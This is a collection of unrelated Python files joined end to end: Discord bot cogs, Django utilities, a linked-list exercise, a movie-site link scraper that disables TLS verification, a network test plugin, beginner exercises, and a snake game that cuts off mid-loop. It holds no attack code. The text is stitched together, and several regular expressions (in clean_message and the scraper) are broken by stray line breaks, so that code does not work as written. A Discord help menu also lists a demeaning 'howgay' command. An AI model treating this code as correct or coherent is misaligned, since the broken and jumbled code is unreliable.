########## Import ##########

import discord
from discord.ext.commands.errors import MissingPermissions, CheckFailure
from discord.ext import commands,tasks
from operator import mod
from discord.embeds import Embed
from itertools import cycle
import random
import asyncio
import os
from os import listdir
from os.path import realpath, split, join, splitext
import json

########## Class ##########

class User(commands.Cog):

    def __init__(self, client):
        self.client = client

########## Commands ##########

    """@commands.command()
    @commands.guild_only()
    async def test(self, ctx():
        member = ctx.author if not member else member
        em = discord.Embed(
            title = "Here are the Bot's info:",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        em.add_field(name = "Build:", value = "BETA-13621_008-1", inline = False)
        em.add_field(name = "Status:", value = "Online", inline = False)
        em.add_field(name = "Is in:", value = f"{str(len(client.guilds))} servers")

        em.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        await ctx.send(embed = em, delete_after=120)
        await ctx.message.delete()"""

    @commands.command()
    @commands.guild_only()
    async def info(self, ctx, *, member : discord.Member = None):
        member = ctx.author if not member else member
        em = discord.Embed(
            title = "**Bot Info Command**",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        em.add_field(name = "Build:", value = "pre-1.6_0058", inline = False)
        em.add_field(name = "Is in:", value = f"{str(len(self.client.guilds))} servers", inline = False)
        em.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        await ctx.send(embed = em, delete_after=120)
        await ctx.message.delete()

    @commands.command()
    @commands.guild_only()
    async def ping(self, ctx, *, member : discord.Member = None):
        member = ctx.author if not member else member

        em = discord.Embed(
            title = "**Ping Command**",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        em.add_field(name = "Ping:", value = f"{round(self.client.latency * 1000)}ms", inline = False)
        em.add_field(name = "Server:", value = "heroku-eu", inline = False)

        em.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        await ctx.send(embed = em, delete_after=120)
        await ctx.message.delete()

    @commands.command(aliases = ['help'])
    @commands.guild_only()
    async def _help(self, ctx, arg = None):

        em = discord.Embed(
            title = "**Help Command**",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        em.add_field(name= "Use br!help mod:",  value = "To see help for moderation commands!")
        em.add_field(name= "Use br!help user:",  value =  "To see all the bot's user commands!")
        em.add_field(name= "Use br!help fun:",  value =  "To see all the fun commands!")
        em.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        emed = discord.Embed(
            title = "**Help Command**",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        emed.add_field(name = "We sended help in your DM!", value = "You need to allow DM messages from server members for the help to show!", inline=False)
        emed.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        embed = discord.Embed(
            title = '**Mod Commands**',
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

    )
        embed.add_field(name = "| br!clear {nr}", value = "Clears {nr} of messages! The default is 10!", inline=False)
        embed.add_field(name = "| br!new", value = "Creates a new ticket!", inline=False)
        embed.add_field(name = "| br!close", value = "Closes a specific ticket!", inline=False)
        embed.add_field(name = "| br!kick {member}", value = "Kicks {member} from your server!", inline=False)
        embed.add_field(name = "| br!ban {member}", value = "Bans {member} from your server!", inline=False)
        embed.add_field(name = "| br!unban {username}", value = "Unbans {username} from your server! (Ex: br!unban Ender#4783)", inline=False)
        embed.add_field(name = "| br!userinfo {username}", value = "Shows the user's info!", inline=False)
        embed.add_field(name = "| br!serverinfo", value = "Shows the respective server`s info!", inline=False)
        embed.add_field(name = "| br!slowmode {seconds}", value = "Set a slowmode or disable by not specifying {seconds}!", inline=False)

        embed.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        emb = discord.Embed(
            title = '**User Commands**',
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        emb.add_field(name = "| br!changelogs", value = "Shows the bot's newest big update! (more updates are on the website)", inline=False)
        emb.add_field(name = "| br!info", value = "Shows the bot's build name and how many servers is in!", inline=False)
        emb.add_field(name = "| br!ping", value = "Shows the bot's ping and server location!", inline=False)
        emb.add_field(name = "| br!help", value = "Shows all the bot's commands!", inline=False)
        emb.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        embd = discord.Embed(
            title = '**Fun Commands**',
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

            )
        embd.add_field(name = "| br!avatar {mention}", value = "Shows {mention}'s avatar! If you not specify {mention} it will show your avatar!", inline=False)
        embd.add_field(name = "| br!8ball {question}", value = "8ball command!", inline=False)
        embd.add_field(name = "| br!howgay {mention}", value = "Shows how gay is {mention}!", inline=False)
        embd.add_field(name = "| br!f", value = "Press F in Chat!", inline=False)
        embd.add_field(name = "| br!oof", value = "Say OOF!", inline=False)
        embd.add_field(name = "| br!dice", value = "Roll a dice!", inline=False)
        embd.add_field(name = "| br!meme", value = "Shows a meme!", inline=False)
        embd.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)

        if arg == None:
            await ctx.send(embed = em)
            await ctx.message.delete()
        elif arg == "mod":
            await ctx.author.send(embed = embed)
            await ctx.send(embed = emed, delete_after=120)
            await ctx.message.delete()
        elif arg == "user":
            await ctx.author.send(embed = emb)
            await ctx.send(embed = emed, delete_after=120)
            await ctx.message.delete()
        elif arg == "fun":
            await ctx.author.send(embed = embd)
            await ctx.send(embed = emed, delete_after=120)
            await ctx.message.delete()

    @commands.command(aliases = ['changelog'])
    @commands.guild_only()
    async def changelogs(self, ctx):

        em = discord.Embed(
            title = "**Changelogs Command**",
            color = 0xD71E8C,
            description = "",
            timestamp = ctx.message.created_at

        )
        em.set_footer(text = f'Invoked by: @{ctx.author}!', icon_url = ctx.author.avatar_url)
        em.add_field(name= "Current Version:",  value = "``1.6.1``", inline = True)
        em.add_field(name= "Version Name",  value = "``Life-Changing Update``", inline = True)
        em.add_field(name= "Changelogs:",  value = "```⏵ Made Brobotel the Bot project\nPublic at rb.gy/vbztwl\n⏵ Removed brobotelbot.ml site\nbecause of a bug```", inline = False)

        await ctx.send(embed = em, delete_after=120)
        await ctx.message.delete()

########## Setup ##########

def setup (client):
    client.add_cog(User(client))


class Solution:
    def FindKthToTail(self , pHead: ListNode, k: int) -> ListNode:
        # write code here
        if not pHead:
            return None
        fast = pHead
        slow = pHead
        while fast and k > 0:
            fast = fast.next
            k -= 1
        if k > 0:
            return None
        while fast:
            slow = slow.next
            fast = fast.next
        return slow

链表/链表中倒数最后k个结点.py

链表中倒数最后k个结点.py


import codecs
import cStringIO
import csv
from datetime import timedelta, datetime
from decimal import Decimal
import re

from django.conf import settings
from django.core.urlresolvers import get_resolver, RegexURLResolver
from django.utils.safestring import mark_safe
from lxml.html.clean import Cleaner

# datetime.weekday() values start from 0.
LAST_WORKDAY = 4

def workday_count(start, end):
    """
    Count days diff excluding weekends
    """
    if isinstance(start, datetime):
        start = start.date()
    if isinstance(end, datetime):
        end = end.date()

    if start.weekday() > LAST_WORKDAY:
        # If start day is weekend, move start forward to nearest workday
        start += timedelta(7 - start.weekday())

    if end.weekday() > LAST_WORKDAY:
        # If end day is weekend, move end back to nearest workday
        end -= timedelta(end.weekday() - LAST_WORKDAY)

    if end <= start:
        return 0

    # (In examples below, week begins on Monday, as in most Europe countries)
    # From Friday to Monday (day 08 to 11)
    #  daydiff == -4
    #  nweeks == 1
    #  result == 5 - 4
    # From Monday to Tuesday (day 04 to 12)
    #  daydiff == 1
    #  nweeks == 1
    #  result == 5 + 1
    daydiff = end.weekday() - start.weekday()
    nweeks = ((end - start).days - daydiff) / 7

    return nweeks * 5 + daydiff

def safeConvert(string):
    """
    Безопасное приведение к utf-8.

    """
    if string and type(string) in [str, unicode]:
        return string.encode("utf-8")
    elif type(string) in [long, int]:
        return str(string)
    else:
        return ''

#http://docs.python.org/library/csv#examples
class UTF8Recoder(object):
    """
    Iterator that reads an encoded stream and reencodes the input to UTF-8.

    """
    def __init__(self, f, encoding):
        self.reader = codecs.getreader(encoding)(f)

    def __iter__(self):
        return self

    def next(self):
        return self.reader.next().encode("utf-8")

class UnicodeReader(object):
    """
    A CSV reader which will iterate over lines in the CSV file "f",
    which is encoded in the given encoding.

    """
    def __init__(self, f, dialect=csv.excel, encoding="UTF-16", **kwds):
        f = UTF8Recoder(f, encoding)
        self.reader = csv.reader(f, dialect=dialect, **kwds)

    def next(self):
        row = self.reader.next()
        return [unicode(s, "utf-8") for s in row]

    def __iter__(self):
        return self

class UnicodeWriter(object):
    """
    A CSV writer which will write rows to CSV file "f",
    which is encoded in the given encoding.

    """
    def __init__(self, f, dialect=csv.excel, encoding="UTF-16", **kwds):
        # Redirect output to a queue
        self.queue = cStringIO.StringIO()
        self.writer = csv.writer(self.queue, dialect=dialect, **kwds)
        self.stream = f
        self.encoder = codecs.getincrementalencoder(encoding)()

    def writerow(self, row):
        self.writer.writerow([safeConvert(s) for s in row])
        # Fetch UTF-8 output from the queue ...
        data = self.queue.getvalue()
        data = data.decode("utf-8")
        # ... and reencode it into the target encoding
        data = self.encoder.encode(data)
        # write to the target stream
        self.stream.write(data)
        # empty queue
        self.queue.truncate(0)

    def writerows(self, rows):
        for row in rows:
            self.writerow(row)

def clean_message(comment):
    if len(comment) == 0:
        return mark_safe(comment)

    # prevent XSS-attacks, remove not allowed tags
    allowed_tags = 'a blockquote br div em li ol p span strong u ul'.split()
    comment = Cleaner(remove_unknown_tags=False, allow_tags=allowed_tags).clean_html(comment)
    # remove redundant lines
    comment = re.sub(r'(
(?=(
){2,}))', '', comment)
    comment = re.sub(r'(?<=^())(
){1,2}|(
){1,4}(?=()$)', '', comment)
    comment = re.sub(r'(
){1,2}(?=(
)$)', '', comment)
    return mark_safe(comment)

def get_named_patterns():
    resolver = get_resolver(settings.ROOT_URLCONF)
    return list(iter_named_patterns(resolver))

def iter_named_patterns(root_resolver):
    '''
    Recursively iterate over all named urlpatterns in the resolver
    Will also set pattern _full_name as "app_name:name"
    '''
    if not hasattr(root_resolver, '_app_name'):
        root_resolver._app_name = root_resolver.app_name

    for child in root_resolver.url_patterns:
        child._app_name = getattr(child, 'app_name', None) or root_resolver._app_name
        name = getattr(child, 'name', None)
        if isinstance(child, RegexURLResolver):
            # This is RegexURLResolver, we should iterate deeper into it
            for p in iter_named_patterns(child):
                yield p
        elif name:
            # This is RegexURLPattern with proper name. We will construct full name
            if child._app_name:
                child._full_name = '%s:%s' % (child._app_name, name)
            else:
                child._full_name = name
            yield child

def round_ex(x):
    """
    If x < 0.1, round to the first nonzero decimal digit, Otherwise round to one decimal digit.
    0.0 => 0.0
    0.00123 => 0.001
    0.54321 => 0.5
    """
    if x == 0.0:
        return x
    elif x < 0.1:
        _x = Decimal(x).as_tuple()
        return round(x, 1 - _x.exponent - len(_x.digits))
    else:
        return round(x, 1)

def dictfetchall(cursor):
    """
    Returns all rows from a cursor as a list of dictionaries.
    """
    keys = [col[0] for col in cursor.description]
    return [dict(zip(keys, values)) for values in cursor.fetchall()]


import aiohttp
import asyncio
import json
import os
import discord
import tweepy
import time
from bs4 import BeautifulSoup
from datetime import datetime
from discord.ext import commands
from nerdlandbot.translations.Translations import get_text as translate
from nerdlandbot.helpers.TranslationHelper import get_culture_from_context as culture
from nerdlandbot.helpers.log import debug, info, warn, error
from nerdlandbot.helpers.emoji import bird, camera
from nerdlandbot.helpers.constants import REACTION_TIMEOUT

from nerdlandbot.helpers.constants import THE_SPACE_DEVS_BASE_URL, THE_SPACE_DEVS_VERSION, THE_SPACE_DEVS_LIMIT_TO_10_RESULTS
from nerdlandbot.helpers.constants import THE_SPACE_DEVS_HOME_URL, NOTIFY_EMBED_COLOR
from nerdlandbot.helpers.constants import THE_SPACE_DEVS_UPCOMING_LAUNCH_RESOURCE
from nerdlandbot.helpers.constants import THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE, THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_TIMESTAMP_FORMAT
from nerdlandbot.helpers.constants import PERCY_TWITTER_ID, PERCY_API_URL, PERCY_WEEK_IMG, PERCY_ICON

class SpaceDevs (commands.Cog, name='Space'):
    def __init__(self,bot:commands.Bot):
        self.bot = bot
        self.cache_of_space_launches_json_path = os.path.join(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE + '.json')
        self.cache_of_space_launches_time_path = os.path.join (THE_SPACE_DEVS_LOCAL_CACHE_FOLDER, THE_SPACE_DEVS_LOCAL_CACHE_SPACE_LAUNCHES_FILE + '.time')
        if not os.path.isdir(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER):
            os.makedirs(THE_SPACE_DEVS_LOCAL_CACHE_FOLDER)

        self.twitter_creds = {'key':os.getenv("TWITTER_API_KEY"),'secret':os.getenv("TWITTER_API_SECRET")}
        self.twitter_enabled = self.twitter_creds['key'] and self.twitter_creds['secret']
        if not self.twitter_enabled:
            error(
                "No TWITTER_API_KEY and TWITTER_API_SECRET .env file, Twitter functionality will not be available"
            )

    @commands.command(name="space_launches", hidden = False, help="space_launches_help", brief="space_launches_brief")
    @commands.guild_only()
    async def cmd_space_launches(self, ctx:commands.Context):
        full_url = '/'.join ([THE_SPACE_DEVS_BASE_URL, THE_SPACE_DEVS_VERSION, '/'.join (THE_SPACE_DEVS_UPCOMING_LAUNCH_RESOURCE),THE_SPACE_DEVS_LIMIT_TO_10_RESULTS])
        if self.should_call_the_api ():
            async with aiohttp.ClientSession() as session:
                async with session.get(full_url, headers = {"accept":"application/json"}) as resp:
                    if resp.status == 200:
                        msg = await resp.text()
                        with open(self.cache_of_space_launches_json_path,"w") as file:
                            file.write(msg)
                        with open(self.cache_of_space_launches_time_path,"w") as file:
                            timestamp = datetime.now().strftime(THE_SPACE_DEVS_TIMESTAMP_FORMAT)
                            file.write(timestamp)
                        embed = self.parse_from_file_and_compose_embed (self.cache_of_space_launches_json_path)
                        await ctx.send(embed = embed)
                    elif resp.status == 429:
                        await ctx.send(embed = self.compose_error_embed('Too many requests. Wait a couple of minutes and try again.'))
                    else:
                        await ctx.send(embed = self.compose_error_embed('Call to the space devs failed. Response status: ' + str(resp.status)))
                    return
        else:
            embed = self.parse_from_file_and_compose_embed (self.cache_of_space_launches_json_path)
            await ctx.send(embed = embed)

    def should_call_the_api (self):
        if os.path.isfile(self.cache_of_space_launches_json_path) and os.path.isfile(self.cache_of_space_launches_time_path):
            with open(self.cache_of_space_launches_time_path,"r") as file:
                call_timestamp = datetime.strptime(file.readline(),THE_SPACE_DEVS_TIMESTAMP_FORMAT)
            now_timestamp = datetime.now()
            return (now_timestamp - call_timestamp).total_seconds() > 3600
        else:
            return True

    def parse_from_file_and_compose_embed(self, json_file):    # extracted for testing purposes
        ''' This function expects that the json_file is already verified for existence '''
        with open(json_file,'r') as file:
            try:
                dom = json.load(file)
            except json.JSONDecodeError:
                return self.compose_error_embed('Could not parse the response from space devs.')
            embed = self.main_info_embed()
            for index, result in enumerate (dom['results']):
                self.add_embed_field_for_upcominglaunch(index, result, embed)
            return embed

    def compose_error_embed(self, error_msg):
        embed = self.main_info_embed()
        embed.add_field(name = 'ERROR:', value= error_msg, inline=True)
        return embed

    def main_info_embed (self):
        result = discord.Embed(
                                title="Upcoming launches",
                                url=THE_SPACE_DEVS_HOME_URL,
                                description="Provided by the space devs api. Timestamps = UTC",
                                color=NOTIFY_EMBED_COLOR
                            )
        return result

    def add_embed_field_for_upcominglaunch(self, index, result_json, embed):
        try:
            try:
                windows_start = datetime.strptime(result_json["window_start"],'%Y-%m-%dT%H:%M:%SZ')
                windows_start = windows_start.strftime('%a, %d %b at %H:%M')
            except TypeError:
                windows_start = "No start time"
            try:
                service_provider = result_json["launch_service_provider"]["name"]
            except TypeError:
                service_provider = "No provider"

            try:
                mission = result_json["mission"]["name"]
            except TypeError:
                mission = "No mission"
            try:
                rocket_configuration = result_json["rocket"]["configuration"]["name"]
            except TypeError:
                rocket_configuration = "No configuration"
            try:
                pad_location = result_json["pad"]["location"]["name"]
            except TypeError:
                pad_location = "No location"
        except KeyError:
            embed.add_field(name = 'ERROR:', value= ' '.join ([index+1, 'Could not parse launch data.']),inline = False)
        name = str(index+1) + '. ' +service_provider+' : '+ mission+ '  ('+ windows_start +') '
        value =  '; '.join([pad_location, rocket_configuration])
        embed.add_field(name = name, value = value, inline = False)
        return

    async def get_percy_data(self):
        """
        Returns simplified data for percy pulled from the NASA Mars map API
        :return: dict containing sol, distance, longitude and latitude (None if failure)
        """
        url = PERCY_API_URL
        full_json = ''
        try:
            async with aiohttp.ClientSession() as session:
                async with session.get(url, headers = {"accept":"application/json"}) as resp:
                    full_json = await resp.text()

            data = json.loads(full_json)['features'][0]

            percy_data = dict()
            percy_data['sol'] = data['properties']['sol']
            percy_data['distance'] = str(data['properties']['dist_km']) + ' km'
            percy_data['longitude'] = data['geometry']['coordinates'][0]
            percy_data['latitude'] = data['geometry']['coordinates'][1]
            return percy_data
        except Exception as e:
            error("Failed to load and parse perseverence API: " +
                    type(e).__name__ + str(e) +
                    '--> full_json string head:' + full_json[:100]
            )
            return

    async def get_percy_image(self):
        """
        Returns the url to the image of the week
        :return: string containing the url to image of the week (None if failure)
        """
        web_url = PERCY_WEEK_IMG
        page_html = ''
        try:
            async with aiohttp.ClientSession() as session:
                async with session.get(web_url, headers = {"accept":"text/html"}) as resp:
                    page_html = await resp.text()

            soup = BeautifulSoup(page_html, "html.parser")
            img = soup.find("div", {"class": "main_image"}).find("img")

            return img['src']
        except Exception as e:
            error("Failed to load Perseverance Image of the Week: " +
                    type(e).__name__ + str(e) +
                    '--> page_html string head:' + page_html[:100]
            )
            return

    async def send_percy_tweet(self, ctx: commands.Context):
        try:
            auth = tweepy.AppAuthHandler(self.twitter_creds['key'], self.twitter_creds['secret'])
            api = tweepy.API(auth)
            last_status = api.user_timeline(id=PERCY_TWITTER_ID,count=1)[0]
        except Exception as e:
            error("Failed to load Perseverance latest tweet: " +
                    type(e).__name__ + str(e)
            )
            return await ctx.send(translate("percy_tweet_error", await culture(ctx)))
        return await ctx.send(last_status.text)

    async def wait_for_tweet_reaction(self, ctx: commands.Context, msg_id: int,
                                       timeout: int = REACTION_TIMEOUT):
        end_time = time.time() + timeout
        while True:
            try:
                reaction, user = await ctx.bot.wait_for(
                    "reaction_add",
                    check=lambda emoji, author: emoji.message.id == msg_id and not author.bot,
                    timeout=timeout,
                )
                if reaction.emoji == bird:
                    return await self.send_percy_tweet(ctx)
            except asyncio.TimeoutError:
                pass

            if time.time() > end_time:
                break

    async def wait_for_camera_reaction(self, ctx: commands.Context, msg, embed, timeout: int = REACTION_TIMEOUT):
        end_time = time.time() + timeout
        while True:
            try:
                reaction, user = await ctx.bot.wait_for(
                    "reaction_add",
                    check=lambda emoji, author: emoji.message.id == msg.id and not author.bot,
                    timeout=timeout,
                )
                percy_image = await self.get_percy_image()
                if reaction.emoji == camera and percy_image:
                    embed.set_image(url=percy_image)
                    return await msg.edit(embed=embed)
                elif reaction.emoji == camera:
                    return await ctx.send(translate("percy_img_error", await culture(ctx)))
            except asyncio.TimeoutError:
                pass

            if time.time() > end_time:
                break

    @commands.command(name="percy", hidden = False, help="percy_help", brief="percy_brief")
    @commands.guild_only()
    async def cmd_percy(self, ctx:commands.Context):
        percy_data = await self.get_percy_data()

        if percy_data:
            embed=discord.Embed(title="Status update",
                                description=translate("percy_description", await culture(ctx)),
                                color=0xb33a00
            )
            embed.set_author(name="NASA Perseverance rover",
                            url="https://mars.nasa.gov/mars2020/",
                            icon_url=PERCY_ICON
            )

            embed.add_field(name="Sol", value=percy_data['sol'], inline=False)
            embed.add_field(name="Latitude", value=percy_data['latitude'], inline=True)
            embed.add_field(name="Longitude", value=percy_data['longitude'], inline=True)
            embed.add_field(name="Distance Driven", value=percy_data['distance'], inline=True)
            if self.twitter_enabled:
                embed.set_footer(text=translate("percy_footer_both", await culture(ctx)).format(camera,bird))
            else:
                embed.set_footer(text=translate("percy_footer_camera", await culture(ctx)).format(camera))
            msg = await ctx.send(embed=embed)

            added_reactions = []

            await msg.add_reaction(camera)
            added_reaction = asyncio.create_task(self.wait_for_camera_reaction(ctx,msg,embed))
            added_reactions.append(added_reaction)

            if self.twitter_enabled:
                await msg.add_reaction(bird)
                added_reaction = asyncio.create_task(self.wait_for_tweet_reaction(ctx, msg.id))
                added_reactions.append(added_reaction)

            await asyncio.gather(*added_reactions,return_exceptions=True)
        else:
            await ctx.send(translate("percy_error", await culture(ctx)))

def setup(bot: commands.Bot):
    bot.add_cog(SpaceDevs(bot))


import requests
import re

url1="https://www.dygod.net/"

obj1 = re.compile(r"迅雷电影资源.*?
.*?
(?P<content>.*?)
",re.S)
obj2 = re.compile(r'
<a href=\'(?P
.*?)\'.*?title="(?P<name>.*?)"',re.S)
obj3 = re.compile(r"
<a href=\"jianpian://pathtype=url&path=()(?P<downloadsite>.*?)[\u4e00-\u9fa5]")

resp1=requests.get(url1,verify=False)
resp1.encoding="gb2312"
result1=obj1.search(resp1.text)
str1=result1.group()
result2=obj2.finditer(str1)
with open('film.txt','w',encoding='gbk') as f:
    for it in result2:
        url2=url1+it.group('ul').strip(r'/')
        print(it.group('ul'))
        resp2=requests.get(url2,verify=False)
        resp2.encoding="gb2312"
        result3=obj3.search(resp2.text)
        f.write(it.group('name'))
        f.write("的下载地址为")
        f.write(result3.group('downloadsite')+"\n")

resp1.close()
resp2.close()

数据解析/一.正则表达式/实训2.py


from math import ceil
from functools import partial
from typing import Generator, Optional

from plugin2889.const import DECIMAL_100
from plugin2889.plugin.base_class import AddressLearningBase, IntBinarySearch
from plugin2889.plugin.dataset import BaseRunProps
from plugin2889.resource.manager import ResourcesManager
from plugin2889.util.logger import logger
from plugin2889.statistics import ResultData
from plugin2889.dataset import AddressCachingCapacityConfiguration

class AddressCachingCapacityTest(AddressLearningBase[AddressCachingCapacityConfiguration, int]):
    def __update_max_capacity(self, max_capacity: int) -> None:
        self.plugin_params.data_sharing.set_max_caching_capacity(max_capacity)

    def test_suit_prepare(self) -> None:
        self.binary_search = IntBinarySearch(
            rate_iteration_options=self.test_suit_config.address_iteration_options,
            success_callback_function=self.__update_max_capacity,
        )
        self.resources = ResourcesManager(
            testers=self.testers,
            port_identities=self.port_identities,
            test_config=self.full_test_config,
            port_pairs=self.create_port_pairs(),
            get_mac_address_function=self.get_mac_address,
        )
        self.create_statistics()

    def do_testing_cycle(self) -> Generator[BaseRunProps, None, None]:
        packet_sizes = self.full_test_config.general_test_configuration.frame_sizes.packet_size_list
        for current_iteration_number in self.iterations_offset_by_1:
            for packet_size in packet_sizes:
                yield BaseRunProps(current_iteration_number, int(packet_size))

    @property
    def learning_rate_pps(self) -> int:
        return ceil(self.test_suit_config.learning_rate_fps)

    async def run_test(self, run_props: BaseRunProps) -> None:
        logger.debug(f'iter props: {run_props}')
        logger.debug(self.test_suit_config.address_iteration_options)
        self.resources[self.port_name.monitoring].statistics.add_tx_resources(
            resource=self.resources[self.port_name.test],
            tpld_id=self.resources[self.port_name.test].streams[0].tpld_id
        )

        result: Optional["ResultData"] = None
        while not self.binary_search.determine_should_end(result):
            logger.debug(self.binary_search)
            self.learning_adress_count = int(self.binary_search.current)
            self.staticstics_collect = partial(
                self.statistics.collect_data,
                duration=self.traffic_duration,
                iteration=run_props.iteration_number,
                packet_size=run_props.packet_size,
                rate=DECIMAL_100,
            )
            await self.address_learning_test(run_props.packet_size)
            logger.debug(self.binary_search.is_ended)
            logger.debug(self.binary_search.current)
            result = await self.send_final_staticstics()


#!/usr/bin/env python
import sys
import os
import requests
import json

module_splits = sys.argv[1:]
module_splits_flatten = []

for item in module_splits:
    if "|" not in item:
        module_splits_flatten.append(item)
    else:
        module_splits_flatten.extend(item.split("|"))

module_splits = module_splits_flatten.copy()

nested_module_paths = []

for item in module_splits:
    if not item.endswith("node_modules/"):
       pkg_name = os.path.basename(item)
       r = requests.head("https://registry.npmjs.org/{}".format(pkg_name))

       if r.status_code == 200:
           continue

       nested_module_paths.append(item)

unique_versions = {}

for item in nested_module_paths:
    jr = json.load(open(f"{item}/package.json"))

    unique_versions[f"{jr['name']}:{jr['version']}"] = item

open("evernote_nested_modules.txt", "w").writelines('\n'.join(unique_versions.values()))


import numpy as np
import cv2

def on_level_change(pos):
    global img
    #getTrackbarpos(트랙바 이름, 윈도우창 이름)
    r= cv2.getTrackbarPos('R', 'image')
    g= cv2.getTrackbarPos('G', 'image')
    b= cv2.getTrackbarPos('B', 'image')

    img[:] = (b, g, r)
    cv2.imshow('image', img)

# 출력 창 크기 설정
# zeros((세로, 가로, RGB이면 3), np.uint8)
img = np.zeros((300, 600, 3), np.uint8)
# 윈도우 창 이름
cv2.namedWindow('image')
# (트랙바이름, 윈도우 창 이름, 최소값, 최대값, 콜백 함수)
# 윈도우 창 이름이 같아야 트랙바를 넣을 수 있다.
cv2.createTrackbar('R', 'image', 0, 255, on_level_change)
cv2.createTrackbar('G', 'image', 0, 255, on_level_change)
cv2.createTrackbar('B', 'image', 0, 255, on_level_change)

# 실행 및 끄기 설정
cv2.imshow('image', img)
cv2.waitKey()
cv2.destroyAllWindows()


'''
Змінній t привласнити значення істина, якщо максимальний елемент
одновимірного масиву єдиний і не перевищує наперед заданого числа а.
Виконав студент групи КН-А Андрощук Артем Олександрович
'''

t = False

n = int(input("Input quantity of array: "))  # Користувач вводить кількість чисел у масиві

a = int(input("Input a number: "))  # Користувач вводить числo

array = []  # Ініціалізуємо масив
maxNumbers = []

for i in range(n):  # проходимо по циклу n разів
    x = int(input())  # вводимо число з клавіатури
    array.append(x)  # додаємо це число до масиву

maxNum = array[0]  # присваюємо змінній перше значення масиву

# шукаємо максимальнен число у масиві
for i in range(n):
    if (maxNum <= array[i]):
        maxNum = array[i]

    # додаємо числа рівні максимальному у масив з найбільшими числами
for i in range(n):
    if maxNum == array[i]:
        maxNumbers.append(array[i])
# перевіряємо чи найбільше число одне та чи не перевищує задане
if len(maxNumbers) == 1 and maxNum <= a:
    t = True

print(t)


# Get input from the user
elapsed_time = int(input("Enter elapsed time in seconds: "))

# Calculate hours, minutes, and seconds
hours = elapsed_time // 3600
remaining_seconds = elapsed_time % 3600
minutes = remaining_seconds // 60
seconds = remaining_seconds % 60

# Format the output
formatted_time = f"{hours:02d} :{minutes:02d} :{seconds:02d}"

# Display the converted time
print("Converted time:", formatted_time)


import pygame # importerer pygame modulen, som lar oss bruke veldig mange nyttige moduler, herunder vinduet selve spillet skjer i
import time # Importerer tidsmodulen som lar oss programmere IHHT tid
import random #Importerer random modulen, som lar oss definere tilfeldige verdier
pygame.init()#initialiserer pygame som lar oss bruke alle modulene i pygame. Trenger dette for å tegne slangen og maten
gameon=True #setter while variabel slik at vi kan avbryte while løkken spillet foregår i senere
(width,height) = (1280,720)#Definerer bredde og høyde til vinduet spellet foregår i som en tuppel da pygame krever tuppel
background_color = (0,0,0) #Definerer bakgrunnsfargen til spillet som helt svart
screen = pygame.display.set_mode((width, height))# Definerer vinduet spillet skjer i, initierer med tuppelen definert over
pygame.display.set_caption("Snake")#Setter navnet til vinduet spillet skjer i som snake
FPS = 60#Definerer en variabel som lar oss bestemme hvor ofte spillvinduet oppdaterer. Startverdi vil være 60 ganger i sekundet
x = 640 #Definerer startposisjonen til slangen som midt på x-aksen
y = 360 #Definerer startposisjonen til slangen langs y-aksen sammen med x-aksen starter slangen midt på skjermen
snekmove = 4 #bevegelsesfaktor for slangen. nyttig for å definere hastigheten slangen beveger seg i og hvor maten kan være
direction = "down"#definerer retning og gir en default verdi, slik at slangen beveger seg til å begynne med
Snake_food_eaten = 0#Definerer en variabel som lar oss holde styr på hvor mye slangen vår har spist
ont = pygame.font.SysFont(None, 26)#Setter fonten som brukes i dette programmet til å være standardfonten til maskinen det kjører på og i en passende størrelse
Snakehead = ont.render('Q', True, (255,255,255))#Setter grafikken for slangens hode til bokstaven Q (streken gjennom q ser ut som en tunge)
clock = pygame.time.Clock() #initialiserer en klokkefunskjon som lar oss sette en FPS cap, slik at vi ikke stresser systemet så mye
Snekfood = False#denne variabelen sier at det ikke eksisterer slangemat på skjermen
food = ont.render('F',True,(255,255,255))#Setter grafikken for slangens mat itil å være standardfonten til maskinen og i en passende størrelse og hvitt i kontrast til bakgrunnen
(xsw,ysh) = Snakehead.get_size()#finner størelsen på slangehodet. lar meg også endre størrelsen uten konsekvenser for spillet
(afw,yfh) = food.get_size()#Samme som over bare for slangens mat
Snekbody = ont.render('o', True, (255,255,255))

while gameon:#Starter while løkken spillet skjer i

    #toppen her gir noen viktige definisjoner og avklarer alt før vi faktisk spiller for hver iterasjon av while løkken
    clock.tick(FPS)/1000#Setter frekvensen mellom hver gang spillvinduet oppdaterer til 1/60 av ett sekund (60 ganger over 1000 millisekund)
    screen.fill(background_color)#Fyller skjermen med bakgrunnsfargen som ble definert over
    (w,h) = screen.get_size() #definerer variabler w og h som gir oss bredde og høyde av vinduet
    ### Starten av det faktiske spillet

    ### Under definerer vi retningen slangen skal bevege seg i
    move = pygame.key.get_pressed() # gir oss en liste over taster som blir trykket
    if move[pygame.K_w]:#Dersom w trykkes blir retningen satt som opp
        direction = "up"
    elif move[pygame.K_UP]:#Dersom piltast opp trykkes blir retningen satt som opp
        direction = "up"
    if move[pygame.K_s]:#Dersom s trykkes blir retningen satt som ned
        direction = "down"
    elif move[pygame.K_DOWN]:#Dersom piltast ned trykkes blir retningen satt som ned
        direction = "down"
    if move[pygame.K_a]:#Dersom a trykkes blir retningen satt som venstre
        direction = "left"
